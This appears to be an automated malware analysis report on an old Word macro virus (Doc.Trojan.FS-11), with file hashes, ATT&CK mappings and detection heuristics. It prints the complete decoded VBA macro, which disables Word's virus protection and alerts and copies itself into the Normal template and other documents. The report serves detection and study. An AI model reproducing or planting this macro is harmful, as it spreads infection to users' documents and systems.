Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f78b1b22f05c8333…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-08-14 16:52:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: d8ecb015efd86724469ceacc906f1cb2 SHA-1: 5813dfe84ee033192f13b3b9da7c63e3d392cd7b SHA-256: f78b1b22f05c83332b6b81dfc65d8708b81f429cc2e2ca6d7072579b89fc8fdd
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains a VBA macro that executes upon opening the document, as indicated by the 'Document_Open' subroutine. This macro attempts to inject its code into the Normal template, a common technique for establishing persistence or preparing for payload delivery. The ClamAV detection 'Doc.Trojan.FS-11' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.FS-11 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FS-11
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1069 bytes
SHA-256: 59c010716701a62f34b8e5dbc07b05e99235ed041b578d4267c018aec1ddb052
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Anoia
Private Sub Document_Open()
On Error Resume Next
ι = ActiveDocument.Saved
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Application.DisplayAlerts = 0
Options.ConfirmConversions = 0
Application.EnableCancelKey = 0
Application.DisplayStatusBar = 0
Set α = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set υ = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set ν = ThisDocument.VBProject.VBComponents(1).CodeModule
If α.CountOfLines < ν.CountOfLines Then
α.AddFromString ν.Lines(1, ν.CountOfLines)
If ActiveDocument.ReadOnly = 0 Then ActiveDocument.Save
ElseIf υ.CountOfLines < ν.CountOfLines Then
υ.AddFromString ν.Lines(1, ν.CountOfLines)
End If: ActiveDocument.Saved = ι
End Sub